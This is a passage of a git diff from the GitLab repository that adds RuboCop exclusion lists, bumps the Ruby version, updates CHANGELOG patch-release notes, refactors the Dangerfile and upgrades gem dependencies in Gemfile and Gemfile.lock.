+ - spec/tasks/gitlab/db_rake_spec.rb
+ - spec/tasks/gitlab/git_rake_spec.rb
+ - spec/tasks/gitlab/praefect_rake_spec.rb
+ - spec/tasks/gitlab/shell_rake_spec.rb
+ - spec/tasks/gitlab/x509/update_rake_spec.rb
+ - spec/uploaders/file_mover_spec.rb
+ - spec/uploaders/records_uploads_spec.rb
+ - spec/uploaders/workers/object_storage/migrate_uploads_worker_spec.rb
+ - spec/views/layouts/_head.html.haml_spec.rb
+ - spec/views/projects/artifacts/_artifact.html.haml_spec.rb
+ - spec/workers/archive_trace_worker_spec.rb
+ - spec/workers/build_coverage_worker_spec.rb
+ - spec/workers/build_hooks_worker_spec.rb
+ - spec/workers/build_trace_sections_worker_spec.rb
+ - spec/workers/ci/build_schedule_worker_spec.rb
+ - spec/workers/ci/daily_build_group_report_results_worker_spec.rb
+ - spec/workers/cluster_configure_istio_worker_spec.rb
+ - spec/workers/cluster_provision_worker_spec.rb
+ - spec/workers/clusters/cleanup/project_namespace_worker_spec.rb
+ - spec/workers/clusters/cleanup/service_account_worker_spec.rb
+ - spec/workers/concerns/project_import_options_spec.rb
+ - spec/workers/create_commit_signature_worker_spec.rb
+ - spec/workers/create_note_diff_file_worker_spec.rb
+ - spec/workers/delete_diff_files_worker_spec.rb
+ - spec/workers/email_receiver_worker_spec.rb
+ - spec/workers/emails_on_push_worker_spec.rb
+ - spec/workers/error_tracking_issue_link_worker_spec.rb
+ - spec/workers/expire_pipeline_cache_worker_spec.rb
+ - spec/workers/group_export_worker_spec.rb
+ - spec/workers/group_import_worker_spec.rb
+ - spec/workers/namespaceless_project_destroy_worker_spec.rb
+ - spec/workers/namespaces/root_statistics_worker_spec.rb
+ - spec/workers/new_note_worker_spec.rb
+ - spec/workers/object_pool/create_worker_spec.rb
+ - spec/workers/packages/nuget/extraction_worker_spec.rb
+ - spec/workers/pages_remove_worker_spec.rb
+ - spec/workers/pipeline_hooks_worker_spec.rb
+ - spec/workers/pipeline_process_worker_spec.rb
+ - spec/workers/pipeline_schedule_worker_spec.rb
+ - spec/workers/project_cache_worker_spec.rb
+ - spec/workers/stage_update_worker_spec.rb
+ - spec/workers/stuck_ci_jobs_worker_spec.rb
+ - spec/workers/wait_for_cluster_creation_worker_spec.rb
+ - ee/spec/workers/security/auto_fix_worker_spec.rb
diff --git a/.rubocop_todo/rspec/timecop_freeze.yml b/.rubocop_todo/rspec/timecop_freeze.yml
new file mode 100644
index 00000000000..c20c6214fa8
--- /dev/null
+++ b/.rubocop_todo/rspec/timecop_freeze.yml
@@ -0,0 +1,29 @@
+---
+RSpec/TimecopFreeze:
+ Exclude:
+ - ee/spec/lib/gitlab/analytics/cycle_analytics/data_collector_spec.rb
+ - ee/spec/lib/gitlab/geo/git_push_http_spec.rb
+ - ee/spec/lib/gitlab/geo/log_cursor/daemon_spec.rb
+ - ee/spec/lib/gitlab/geo/oauth/login_state_spec.rb
+ - ee/spec/lib/gitlab/insights/reducers/count_per_period_reducer_spec.rb
+ - ee/spec/models/merge_train_spec.rb
+ - ee/spec/support/shared_contexts/lib/gitlab/insights/reducers/reducers_shared_contexts.rb
+ - qa/spec/support/repeater_spec.rb
+ - spec/features/users/active_sessions_spec.rb
+ - spec/lib/gitlab/analytics/cycle_analytics/base_query_builder_spec.rb
+ - spec/lib/gitlab/analytics/cycle_analytics/median_spec.rb
+ - spec/lib/gitlab/analytics/cycle_analytics/records_fetcher_spec.rb
+ - spec/lib/gitlab/auth/unique_ips_limiter_spec.rb
+ - spec/lib/gitlab/checks/timed_logger_spec.rb
+ - spec/lib/gitlab/cycle_analytics/stage_summary_spec.rb
+ - spec/lib/gitlab/puma_logging/json_formatter_spec.rb
+ - spec/lib/json_web_token/hmac_token_spec.rb
+ - spec/models/active_session_spec.rb
+ - spec/serializers/entity_date_helper_spec.rb
+ - spec/support/cycle_analytics_helpers/test_generation.rb
+ - spec/support/helpers/cycle_analytics_helpers.rb
+ - spec/support/helpers/javascript_fixtures_helpers.rb
+ - spec/support/shared_contexts/rack_attack_shared_context.rb
+ - spec/support/shared_examples/workers/concerns/reenqueuer_shared_examples.rb
+ - spec/workers/concerns/reenqueuer_spec.rb
+ - spec/workers/metrics/dashboard/prune_old_annotations_worker_spec.rb
diff --git a/.rubocop_todo/rspec/timecop_travel.yml b/.rubocop_todo/rspec/timecop_travel.yml
new file mode 100644
index 00000000000..29044236deb
--- /dev/null
+++ b/.rubocop_todo/rspec/timecop_travel.yml
@@ -0,0 +1,21 @@
+---
+RSpec/TimecopTravel:
+ Exclude:
+ - ee/spec/lib/gitlab/geo/event_gap_tracking_spec.rb
+ - ee/spec/lib/gitlab/geo/git_push_http_spec.rb
+ - ee/spec/lib/gitlab/geo/jwt_request_decoder_spec.rb
+ - ee/spec/lib/gitlab/geo/log_cursor/daemon_spec.rb
+ - ee/spec/models/broadcast_message_spec.rb
+ - ee/spec/models/burndown_spec.rb
+ - qa/spec/support/repeater_spec.rb
+ - spec/features/users/terms_spec.rb
+ - spec/lib/feature_spec.rb
+ - spec/models/broadcast_message_spec.rb
+ - spec/models/concerns/issuable_spec.rb
+ - spec/requests/api/ci/runner/jobs_trace_spec.rb
+ - spec/requests/api/issues/put_projects_issues_spec.rb
+ - spec/support/shared_contexts/cache_allowed_users_in_namespace_shared_context.rb
+ - spec/support/shared_examples/requests/api/time_tracking_shared_examples.rb
+ - spec/support/shared_examples/workers/concerns/reenqueuer_shared_examples.rb
+ - spec/workers/concerns/reenqueuer_spec.rb
+ - spec/lib/gitlab/analytics/cycle_analytics/median_spec.rb
diff --git a/.rubocop_todo/style/open_struct_use.yml b/.rubocop_todo/style/open_struct_use.yml
new file mode 100644
index 00000000000..aa486f69562
--- /dev/null
+++ b/.rubocop_todo/style/open_struct_use.yml
@@ -0,0 +1,45 @@
+---
+Style/OpenStructUse:
+ Exclude:
+ - app/helpers/application_settings_helper.rb
+ - ee/spec/features/projects/new_project_spec.rb
+ - ee/spec/finders/template_finder_spec.rb
+ - ee/spec/helpers/ee/blob_helper_spec.rb
+ - ee/spec/lib/gitlab/auth/group_saml/failure_handler_spec.rb
+ - ee/spec/lib/gitlab/legacy_github_import/project_creator_spec.rb
+ - lib/api/wikis.rb
+ - lib/gitlab/git/diff_collection.rb
+ - lib/gitlab/import_export/after_export_strategies/base_after_export_strategy.rb
+ - lib/gitlab/testing/request_inspector_middleware.rb
+ - lib/mattermost/session.rb
+ - spec/controllers/groups/clusters_controller_spec.rb
+ - spec/controllers/import/gitlab_controller_spec.rb
+ - spec/controllers/projects/clusters_controller_spec.rb
+ - spec/factories/go_module_versions.rb
+ - spec/factories/wiki_pages.rb
+ - spec/features/projects/clusters_spec.rb
+ - spec/finders/template_finder_spec.rb
+ - spec/graphql/mutations/branches/create_spec.rb
+ - spec/graphql/mutations/clusters/agent_tokens/create_spec.rb
+ - spec/graphql/mutations/clusters/agents/create_spec.rb
+ - spec/graphql/mutations/clusters/agents/delete_spec.rb
+ - spec/graphql/mutations/commits/create_spec.rb
+ - spec/helpers/application_settings_helper_spec.rb
+ - spec/helpers/profiles_helper_spec.rb
+ - spec/initializers/doorkeeper_spec.rb
+ - spec/lib/gitlab/auth/o_auth/provider_spec.rb
+ - spec/lib/gitlab/database/migrations/runner_spec.rb
+ - spec/lib/gitlab/gitaly_client/blobs_stitcher_spec.rb
+ - spec/lib/gitlab/gitaly_client/diff_stitcher_spec.rb
+ - spec/lib/gitlab/legacy_github_import/project_creator_spec.rb
+ - spec/lib/gitlab/quick_actions/command_definition_spec.rb
+ - spec/models/design_management/design_action_spec.rb
+ - spec/models/design_management/design_at_version_spec.rb
+ - spec/models/user_spec.rb
+ - spec/presenters/packages/nuget/search_results_presenter_spec.rb
+ - spec/services/packages/nuget/metadata_extraction_service_spec.rb
+ - spec/services/projects/import_service_spec.rb
+ - spec/services/system_note_service_spec.rb
+ - spec/support/helpers/import_spec_helper.rb
+ - spec/support/helpers/login_helpers.rb
+ - spec/support/helpers/repo_helpers.rb
diff --git a/.ruby-version b/.ruby-version
index a4dd9dba4fb..a603bb50a29 100644
--- a/.ruby-version
+++ b/.ruby-version
@@ -1 +1 @@
-2.7.4
+2.7.5
diff --git a/CHANGELOG.md b/CHANGELOG.md
index fce415ec963..9b39bd9a443 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -544,6 +544,21 @@ No changes.
- [Add pipeline artifacts and uploads sizes to project REST API](gitlab-org/gitlab@58d66f28faf42ae98ca11ff1ba0bdd9180e988ad) by @guillaume.chauvel ([merge request](gitlab-org/gitlab!72075))
- [Remove not used parameter from epics finder](gitlab-org/gitlab@49fce172b57b2f376a114726b1dd1900fe36a238) ([merge request](gitlab-org/gitlab!72285)) **GitLab Enterprise Edition**
+## 14.4.4 (2021-12-03)
+
+No changes.
+
+## 14.4.3 (2021-12-01)
+
+### Fixed (6 changes)
+
+- [Check validation only if new record of license](gitlab-org/gitlab@5e0834a921dad1b1e07119de629ea44eb0ad5733) ([merge request](gitlab-org/gitlab!75421)) **GitLab Enterprise Edition**
+- [Fix for hexadecimal branch deletion](gitlab-org/gitlab@fc3c2f211d5a2f190032c4d0109e2bcb31050b4d) ([merge request](gitlab-org/gitlab!75421))
+- [Geo - Fix no repo error message for group-level wikis](gitlab-org/gitlab@bdf3a712a4bfe245dfa7e7a90c24f2fdb482e309) ([merge request](gitlab-org/gitlab!75421)) **GitLab Enterprise Edition**
+- [Prevent Git operations from checking replication lag on non-Geo-secondary sites](gitlab-org/gitlab@c158c01027f61aadd1c72f0817731d368d0d58cc) ([merge request](gitlab-org/gitlab!75421)) **GitLab Enterprise Edition**
+- [Allow SSO callbacks through maintenance mode](gitlab-org/gitlab@1acae9807b1808ac360a4be098a50c547c9540b9) by @dzaporozhets ([merge request](gitlab-org/gitlab!75421)) **GitLab Enterprise Edition**
+- [Fix 2FA setup for LDAP users](gitlab-org/gitlab@9b9a7230aed3ffeef3e8f608dd1a569397c71684) ([merge request](gitlab-org/gitlab!75421))
+
## 14.4.2 (2021-11-08)
### Fixed (3 changes)
@@ -967,6 +982,21 @@ No changes.
- [Cleanup bigint conversion for ci_builds](gitlab-org/gitlab@176992aa2b2e76b22637a07d5bafbd6541324a7d) ([merge request](gitlab-org/gitlab!70351))
- [Drop support for data-track-event](gitlab-org/gitlab@ac6027fbef6adf41643412a84945fda6f15c9666) ([merge request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/70234))
+## 14.3.6 (2021-12-03)
+
+No changes.
+
+## 14.3.5 (2021-11-26)
+
+### Fixed (6 changes)
+
+- [Allow SSO callbacks through maintenance mode](gitlab-org/gitlab@f9b250145ac3db5fb01698839f1b5f3d9d349945) ([merge request](gitlab-org/gitlab!75145)) **GitLab Enterprise Edition**
+- [Geo - Fix no repo error message for group-level wikis](gitlab-org/gitlab@5560e012bd6f35431d4d1cea389807ca475c2ce5) ([merge request](gitlab-org/gitlab!75145)) **GitLab Enterprise Edition**
+- [Prevent Git operations from checking replication lag on non-Geo-secondary sites](gitlab-org/gitlab@35344d81d5e07bfb4db997be6c4f99f39a16562e) ([merge request](gitlab-org/gitlab!75145)) **GitLab Enterprise Edition**
+- [Fix error 500 loading branch with UTF-8 characters with performance bar](gitlab-org/gitlab@08b47c2870cc338021bb3f945ac6736e46abf376) ([merge request](gitlab-org/gitlab!75145))
+- [Remove defaultAuthors from MR Analytics and VSA](gitlab-org/gitlab@be95c921623056d31e2cbc0a7bc96de3aa66ca65) ([merge request](gitlab-org/gitlab!75145))
+- [Allow SSO callbacks through maintenance mode](gitlab-org/gitlab@0727751512d41537356b295d6b889e05c6a07480) ([merge request](gitlab-org/gitlab!74706)) **GitLab Enterprise Edition**
+
## 14.3.4 (2021-10-28)
### Security (13 changes)
@@ -1533,6 +1563,21 @@ No changes.
- [Remove the FF ci_reset_bridge_with_subsequent_jobs](gitlab-org/gitlab@a4a75095b9b0250d0b1bdadea90c8a4cd24449b2) ([merge request](gitlab-org/gitlab!68295))
- [Removes ci_same_stage_job_needs ff](gitlab-org/gitlab@5e509cf7aa90041a541b19dda563120a359f0bf9) ([merge request](gitlab-org/gitlab!68041))
+## 14.2.7 (2021-11-26)
+
+### Fixed (3 changes)
+
+- [Prevent Git operations from checking replication lag on non-Geo-secondary sites](gitlab-org/gitlab@84734dab92e0bf9e304ee7bf1579346cc48d26c3) ([merge request](gitlab-org/gitlab!75119)) **GitLab Enterprise Edition**
+- [Remove defaultAuthors from MR Analytics and VSA](gitlab-org/gitlab@1a15d4d1be939a9e38124827f563ed9ec2612a75) ([merge request](gitlab-org/gitlab!75119))
+- [Let non-members set confidential flag when creating an issue in public project](gitlab-org/gitlab@d093cc62e6263629b36a449c9464d9b8644d4d74) ([merge request](gitlab-org/gitlab!75119))
+
+### Changed (4 changes)
+
+- [Geo: Alternate redownload and normal design sync attempts](gitlab-org/gitlab@d401e3ec94e6dba9ea76a9682893352f28d446cb) ([merge request](gitlab-org/gitlab!75119)) **GitLab Enterprise Edition**
+- [Geo: Alternate redownload and normal SSF sync attempts](gitlab-org/gitlab@00eeff14a9bfeabe9107fc38ce9d7d2eee06384b) ([merge request](gitlab-org/gitlab!75119)) **GitLab Enterprise Edition**
+- [Geo: Alternate redownload and normal project syncs](gitlab-org/gitlab@fac9bb8c11db13d34b311f4ebd18f84fa7a575d3) ([merge request](gitlab-org/gitlab!75119)) **GitLab Enterprise Edition**
+- [Geo: Reduce frequency of redownload attempts](gitlab-org/gitlab@d18381e4788a8652d3e36cec5d4bce343c48209c) ([merge request](gitlab-org/gitlab!75119)) **GitLab Enterprise Edition**
+
## 14.2.6 (2021-10-28)
### Security (13 changes)
diff --git a/Dangerfile b/Dangerfile
index 212097f6a68..ca729f1b941 100644
--- a/Dangerfile
+++ b/Dangerfile
@@ -2,14 +2,24 @@
require 'gitlab-dangerfiles'
-gitlab_dangerfiles = Gitlab::Dangerfiles::Engine.new(self)
-gitlab_dangerfiles.import_plugins
+def ee?
+ # Support former project name for `dev` and support local Danger run
+ %w[gitlab gitlab-ee].include?(ENV['CI_PROJECT_NAME']) || Dir.exist?(File.expand_path('ee', __dir__))
+end
-return if helper.release_automation?
+project_name = ee? ? 'gitlab' : 'gitlab-foss'
-danger.import_plugin('danger/plugins/*.rb')
+Gitlab::Dangerfiles.for_project(self, project_name) do |gitlab_dangerfiles|
+ gitlab_dangerfiles.import_plugins
-gitlab_dangerfiles.import_dangerfiles
+ unless helper.release_automation?
+ danger.import_plugin('danger/plugins/*.rb')
+ gitlab_dangerfiles.import_dangerfiles(except: %w[simple_roulette])
+ gitlab_dangerfiles.config.files_to_category = ProjectHelper::CATEGORIES
+ end
+end
+
+return if helper.release_automation?
project_helper.rule_names.each do |rule|
danger.import_dangerfile(path: File.join('danger', rule))
diff --git a/GITALY_SERVER_VERSION b/GITALY_SERVER_VERSION
index e9d8f88edb6..7271ddc86e0 100644
--- a/GITALY_SERVER_VERSION
+++ b/GITALY_SERVER_VERSION
@@ -1 +1 @@
-14.5.2 \ No newline at end of file
+0e0aeb5ca4488903f41acd392911bd89d1ad3d6d
diff --git a/GITLAB_ELASTICSEARCH_INDEXER_VERSION b/GITLAB_ELASTICSEARCH_INDEXER_VERSION
index 75249069675..d76bd2ba3ef 100644
--- a/GITLAB_ELASTICSEARCH_INDEXER_VERSION
+++ b/GITLAB_ELASTICSEARCH_INDEXER_VERSION
@@ -1 +1 @@
-2.16.0
+2.17.0
diff --git a/GITLAB_PAGES_VERSION b/GITLAB_PAGES_VERSION
index 9db5ea12f52..7f3a46a841e 100644
--- a/GITLAB_PAGES_VERSION
+++ b/GITLAB_PAGES_VERSION
@@ -1 +1 @@
-1.48.0
+1.49.0
diff --git a/Gemfile b/Gemfile
index 7fa615319c4..1d88df82967 100644
--- a/Gemfile
+++ b/Gemfile
@@ -153,7 +153,7 @@ gem 'faraday_middleware-aws-sigv4', '~>0.3.0'
# Markdown and HTML processing
gem 'html-pipeline', '~> 2.13.2'
gem 'deckar01-task_list', '2.3.1'
-gem 'gitlab-markup', '~> 1.7.1'
+gem 'gitlab-markup', '~> 1.8.0'
gem 'github-markup', '~> 1.7.0', require: 'github/markup'
gem 'commonmarker', '~> 0.23.2'
gem 'kramdown', '~> 2.3.1'
@@ -185,7 +185,7 @@ gem 'rack', '~> 2.2.3'
gem 'rack-timeout', '~> 0.5.1', require: 'rack/timeout/base'
group :puma do
- gem 'puma', '~> 5.3.1', require: false
+ gem 'puma', '~> 5.5.2', require: false
gem 'puma_worker_killer', '~> 0.3.1', require: false
gem 'sd_notify', '~> 0.1.0', require: false
end
@@ -194,10 +194,10 @@ end
gem 'state_machines-activerecord', '~> 0.8.0'
# Issue tags
-gem 'acts-as-taggable-on', '~> 7.0'
+gem 'acts-as-taggable-on', '~> 8.1'
# Background jobs
-gem 'sidekiq', '~> 6.2.2'
+gem 'sidekiq', '~> 6.3'
gem 'sidekiq-cron', '~> 1.0'
gem 'redis-namespace', '~> 1.8.1'
gem 'gitlab-sidekiq-fetcher', '0.8.0', require: 'sidekiq-reliable-fetch'
@@ -376,7 +376,7 @@ group :development, :test do
gem 'spring', '~> 2.1.0'
gem 'spring-commands-rspec', '~> 1.0.4'
- gem 'gitlab-styles', '~> 6.4.0', require: false
+ gem 'gitlab-styles', '~> 6.6.0', require: false
gem 'haml_lint', '~> 0.36.0', require: false
gem 'bundler-audit', '~> 0.7.0.1', require: false
@@ -400,17 +400,22 @@ group :development, :test do
end
group :development, :test, :danger do
- gem 'gitlab-dangerfiles', '~> 2.5.0', require: false
+ gem 'gitlab-dangerfiles', '~> 2.6.1', require: false
end
group :development, :test, :coverage do
gem 'simplecov', '~> 0.18.5', require: false
+ gem 'simplecov-lcov', '~> 0.8.0', require: false
gem 'simplecov-cobertura', '~> 1.3.1', require: false
+ gem 'undercover', '~> 0.4.4', require: false
end
# Gems required in omnibus-gitlab pipeline
group :development, :test, :omnibus do
- gem 'license_finder', '~> 6.0', require: false
+ # Using a fork until https://github.com/pivotal/LicenseFinder/pull/816 is
+ # resolved. For details, check discussion in
+ # https://gitlab.com/gitlab-org/gitlab/-/merge_requests/74881
+ gem 'gitlab-license_finder', '~> 6.0', require: false
end
group :test do
@@ -459,7 +464,7 @@ gem 'health_check', '~> 3.0'
# System information
gem 'vmstat', '~> 2.3.0'
-gem 'sys-filesystem', '~> 1.1.6'
+gem 'sys-filesystem', '~> 1.4.3'
# NTP client
gem 'net-ntp'
@@ -471,7 +476,7 @@ gem 'sshkey', '~> 2.0'
# Required for ED25519 SSH host key support
group :ed25519 do
gem 'ed25519', '~> 1.2'
- gem 'bcrypt_pbkdf', '~> 1.0'
+ gem 'bcrypt_pbkdf', '~> 1.1'
end
# Spamcheck GRPC protocol definitions
@@ -494,7 +499,7 @@ gem 'flipper', '~> 0.21.0'
gem 'flipper-active_record', '~> 0.21.0'
gem 'flipper-active_support_cache_store', '~> 0.21.0'
gem 'unleash', '~> 3.2.2'
-gem 'gitlab-experiment', '~> 0.6.4'
+gem 'gitlab-experiment', '~> 0.6.5'
# Structured logging
gem 'lograge', '~> 0.5'
@@ -539,4 +544,4 @@ gem 'ipaddress', '~> 0.8.3'
gem 'parslet', '~> 1.8'
-gem 'ipynbdiff', '0.3.7'
+gem 'ipynbdiff', '0.3.8'
diff --git a/Gemfile.lock b/Gemfile.lock
index b54874e9d80..2f30df91862 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -73,7 +73,7 @@ GEM
minitest (>= 5.1)
tzinfo (~> 2.0)
zeitwerk (~> 2.3)
- acts-as-taggable-on (7.0.0)
+ acts-as-taggable-on (8.1.0)
activerecord (>= 5.0, < 6.2)
addressable (2.8.0)
public_suffix (>= 2.0.2, < 5.0)
@@ -137,7 +137,7 @@ GEM
base32 (0.3.2)
batch-loader (2.0.1)
bcrypt (3.1.16)
- bcrypt_pbkdf (1.0.0)
+ bcrypt_pbkdf (1.1.0)
benchmark (0.1.1)
benchmark-ips (2.3.0)
benchmark-memory (0.1.2)
@@ -222,7 +222,7 @@ GEM
css_parser (1.7.0)
addressable
daemons (1.3.1)
- danger (8.4.1)
+ danger (8.4.2)
claide (~> 1.0)
claide-plugins (>= 0.9.2)
colored2 (~> 3.1)
@@ -458,10 +458,10 @@ GEM
terminal-table (~> 1.5, >= 1.5.1)
gitlab-chronic (0.10.5)
numerizer (~> 0.2)
- gitlab-dangerfiles (2.5.0)
+ gitlab-dangerfiles (2.6.1)
danger (>= 8.3.1)
danger-gitlab (>= 8.0.0)
- gitlab-experiment (0.6.4)
+ gitlab-experiment (0.6.5)
activesupport (>= 3.0)
request_store (>= 1.0)
scientist (~> 1.6, >= 1.6.0)
@@ -481,8 +481,15 @@ GEM
pg_query (~> 2.1)
redis (> 3.0.0, < 5.0.0)
gitlab-license (2.0.0)
+ gitlab-license_finder (6.14.2.1)
+ bundler
+ rubyzip (>= 1, < 3)
+ thor (~> 1.0)
+ tomlrb (>= 1.3, < 2.1)
+ with_env (= 1.1.0)
+ xml-simple (~> 1.1.5)
gitlab-mail_room (0.0.9)
- gitlab-markup (1.7.1)
+ gitlab-markup (1.8.0)
gitlab-net-dns (0.9.1)
gitlab-omniauth-openid-connect (0.8.0)
addressable (~> 2.7)
@@ -490,9 +497,10 @@ GEM
openid_connect (~> 1.2)
gitlab-sidekiq-fetcher (0.8.0)
sidekiq (~> 6.1)
- gitlab-styles (6.4.0)
+ gitlab-styles (6.6.0)
rubocop (~> 0.91, >= 0.91.1)
rubocop-gitlab-security (~> 0.1.1)
+ rubocop-graphql (~> 0.10)
rubocop-performance (~> 1.9.2)
rubocop-rails (~> 2.9)
rubocop-rspec (~> 1.44)
@@ -633,14 +641,16 @@ GEM
mime-types (~> 3.0)
multi_xml (>= 0.5.2)
httpclient (2.8.3)
- i18n (1.8.10)
+ i18n (1.8.11)
concurrent-ruby (~> 1.0)
i18n_data (0.8.0)
icalendar (2.4.1)
+ imagen (0.1.8)
+ parser (>= 2.5, != 2.5.1.1)
invisible_captcha (1.1.0)
rails (>= 4.2)
ipaddress (0.8.3)
- ipynbdiff (0.3.7)
+ ipynbdiff (0.3.8)
diffy (= 3.3.0)
json (= 2.5.1)
jaeger-client (1.1.0)
@@ -706,13 +716,6 @@ GEM
railties (>= 5.2)
rexml
libyajl2 (1.2.0)
- license_finder (6.0.0)
- bundler
- rubyzip (>= 1, < 3)
- thor
- toml (= 0.2.0)
- with_env (= 1.1.0)
- xml-simple
licensee (9.14.1)
dotenv (~> 2.0)
octokit (~> 4.17)
@@ -903,7 +906,7 @@ GEM
orm_adapter (0.5.0)
os (1.1.1)
parallel (1.20.1)
- parser (3.0.2.0)
+ parser (3.0.3.2)
ast (~> 2.4.1)
parslet (1.8.2)
pastel (0.8.0)
@@ -942,7 +945,7 @@ GEM
tty-markdown
tty-prompt
public_suffix (4.0.6)
- puma (5.3.2)
+ puma (5.5.2)
nio4r (~> 2.0)
puma_worker_killer (0.3.1)
get_process_mem (~> 0.2)
@@ -1107,6 +1110,8 @@ GEM
parser (>= 2.7.1.5)
rubocop-gitlab-security (0.1.1)
rubocop (>= 0.51)
+ rubocop-graphql (0.10.3)
+ rubocop (>= 0.87, < 2)
rubocop-performance (1.9.2)
rubocop (>= 0.90.0, < 2.0)
rubocop-ast (>= 0.4.0)
@@ -1158,7 +1163,7 @@ GEM
sawyer (0.8.2)
addressable (>= 2.3.5)
faraday (> 0.8, < 2.0)
- scientist (1.6.0)
+ scientist (1.6.2)
sd_notify (0.1.0)
securecompare (1.0.0)
seed-fu (2.3.7)
@@ -1175,7 +1180,7 @@ GEM
shellany (0.0.1)
shoulda-matchers (4.0.1)
activesupport (>= 4.2.0)
- sidekiq (6.2.2)
+ sidekiq (6.3.1)
connection_pool (>= 2.2.2)
rack (~> 2.0)
redis (>= 4.2.0)
@@ -1194,6 +1199,7 @@ GEM
simplecov-cobertura (1.3.1)
simplecov (~> 0.8)
simplecov-html (0.12.3)
+ simplecov-lcov (0.8.0)
sixarm_ruby_unaccent (1.2.0)
slack-messenger (2.3.4)
snowplow-tracker (0.6.1)
@@ -1249,8 +1255,8 @@ GEM
activesupport (>= 3)
attr_required (>= 0.0.5)
httpclient (>= 2.4)
- sys-filesystem (1.1.9)
- ffi
+ sys-filesystem (1.4.3)
+ ffi (~> 1.1)
sysexits (1.2.0)
tanuki_emoji (0.5.0)
temple (0.8.2)
@@ -1272,8 +1278,6 @@ GEM
timecop (0.9.1)
timeliness (0.3.10)
timfel-krb5-auth (0.8.3)
- toml (0.2.0)
- parslet (~> 1.8.0)
toml-rb (2.0.1)
citrus (~> 3.0, > 3.0)
tomlrb (1.3.0)
@@ -1311,6 +1315,10 @@ GEM
concurrent-ruby (~> 1.0)
u2f (0.2.1)
uber (0.1.0)
+ undercover (0.4.4)
+ imagen (>= 0.1.8)
+ rainbow (>= 2.1, < 4.0)
+ rugged (>= 0.27, < 1.3)
unf (0.1.4)
unf_ext
unf_ext (0.0.7.7)
@@ -1373,7 +1381,7 @@ GEM
nokogiri (~> 1.8)
yajl-ruby (1.4.1)
yard (0.9.26)
- zeitwerk (2.4.2)
+ zeitwerk (2.5.1)
PLATFORMS
ruby
@@ -1382,7 +1390,7 @@ DEPENDENCIES
RedCloth (~> 4.3.2)
acme-client (~> 2.0, >= 2.0.6)
activerecord-explain-analyze (~> 0.1)
- acts-as-taggable-on (~> 7.0)
+ acts-as-taggable-on (~> 8.1)
addressable (~> 2.8)
akismet (~> 3.0)
apollo_upload_server (~> 2.1.0)
@@ -1402,7 +1410,7 @@ DEPENDENCIES
base32 (~> 0.3.0)
batch-loader (~> 2.0.1)
bcrypt (~> 3.1, >= 3.1.14)
- bcrypt_pbkdf (~> 1.0)
+ bcrypt_pbkdf (~> 1.1)
benchmark-ips (~> 2.3.0)
benchmark-memory (~> 0.1)
better_errors (~> 2.9.0)
@@ -1467,17 +1475,18 @@ DEPENDENCIES
gitaly (~> 14.4.0.pre.rc43)
github-markup (~> 1.7.0)
gitlab-chronic (~> 0.10.5)
- gitlab-dangerfiles (~> 2.5.0)
- gitlab-experiment (~> 0.6.4)
+ gitlab-dangerfiles (~> 2.6.1)
+ gitlab-experiment (~> 0.6.5)
gitlab-fog-azure-rm (~> 1.2.0)
gitlab-labkit (~> 0.21.1)
gitlab-license (~> 2.0)
+ gitlab-license_finder (~> 6.0)
gitlab-mail_room (~> 0.0.9)
- gitlab-markup (~> 1.7.1)
+ gitlab-markup (~> 1.8.0)
gitlab-net-dns (~> 0.9.1)
gitlab-omniauth-openid-connect (~> 0.8.0)
gitlab-sidekiq-fetcher (= 0.8.0)
- gitlab-styles (~> 6.4.0)
+ gitlab-styles (~> 6.6.0)
gitlab_chronic_duration (~> 0.10.6.2)
gitlab_omniauth-ldap (~> 2.1.1)
gon (~> 6.4.0)
@@ -1507,7 +1516,7 @@ DEPENDENCIES
icalendar
invisible_captcha (~> 1.1.0)
ipaddress (~> 0.8.3)
- ipynbdiff (= 0.3.7)
+ ipynbdiff (= 0.3.8)
jira-ruby (~> 2.1.4)
js_regex (~> 3.7)
json (~> 2.5.1)
@@ -1520,7 +1529,6 @@ DEPENDENCIES
kubeclient (~> 4.9.2)
lefthook (~> 0.7.0)
letter_opener_web (~> 2.0.0)
- license_finder (~> 6.0)
licensee (~> 9.14.1)
lockbox (~> 0.6.2)
lograge (~> 0.5)
@@ -1573,7 +1581,7 @@ DEPENDENCIES
pry-byebug
pry-rails (~> 0.3.9)
pry-shell (~> 0.5.0)
- puma (~> 5.3.1)
+ puma (~> 5.5.2)
puma_worker_killer (~> 0.3.1)
rack (~> 2.2.3)
rack-attack (~> 6.3.0)
@@ -1620,11 +1628,12 @@ DEPENDENCIES
sentry-raven (~> 3.1)
settingslogic (~> 2.0.9)
shoulda-matchers (~> 4.0.1)
- sidekiq (~> 6.2.2)
+ sidekiq (~> 6.3)
sidekiq-cron (~> 1.0)
simple_po_parser (~> 1.1.2)
simplecov (~> 0.18.5)
simplecov-cobertura (~> 1.3.1)
+ simplecov-lcov (~> 0.8.0)
slack-messenger (~> 2.3.4)
snowplow-tracker (~> 0.6.1)
solargraph (~> 0.43)
@@ -1636,7 +1645,7 @@ DEPENDENCIES
sshkey (~> 2.0)
stackprof (~> 0.2.15)
state_machines-activerecord (~> 0.8.0)
- sys-filesystem (~> 1.1.6)
+ sys-filesystem (~> 1.4.3)
tanuki_emoji (~> 0.5)
terser (= 1.0.2)
test-prof (~> 1.0.7)
@@ -1647,6 +1656,7 @@ DEPENDENCIES
toml-rb (~> 2.0)
truncato (~> 0.7.11)
u2f (~> 0.2.1)
+ undercover (~> 0.4.4)
unf (~> 0.1.4)
unleash (~> 3.2.2)
valid_email (~> 0.1)
diff --git a/app/assets/images/logos/jira-gray.svg b/app/assets/images/logos/jira-gray.svg
deleted file mode 100644
index 0e7069f2bd2..00000000000
--- a/app/assets/images/logos/jira-gray.svg
+++ /dev/null
@@ -1 +0,0 @@
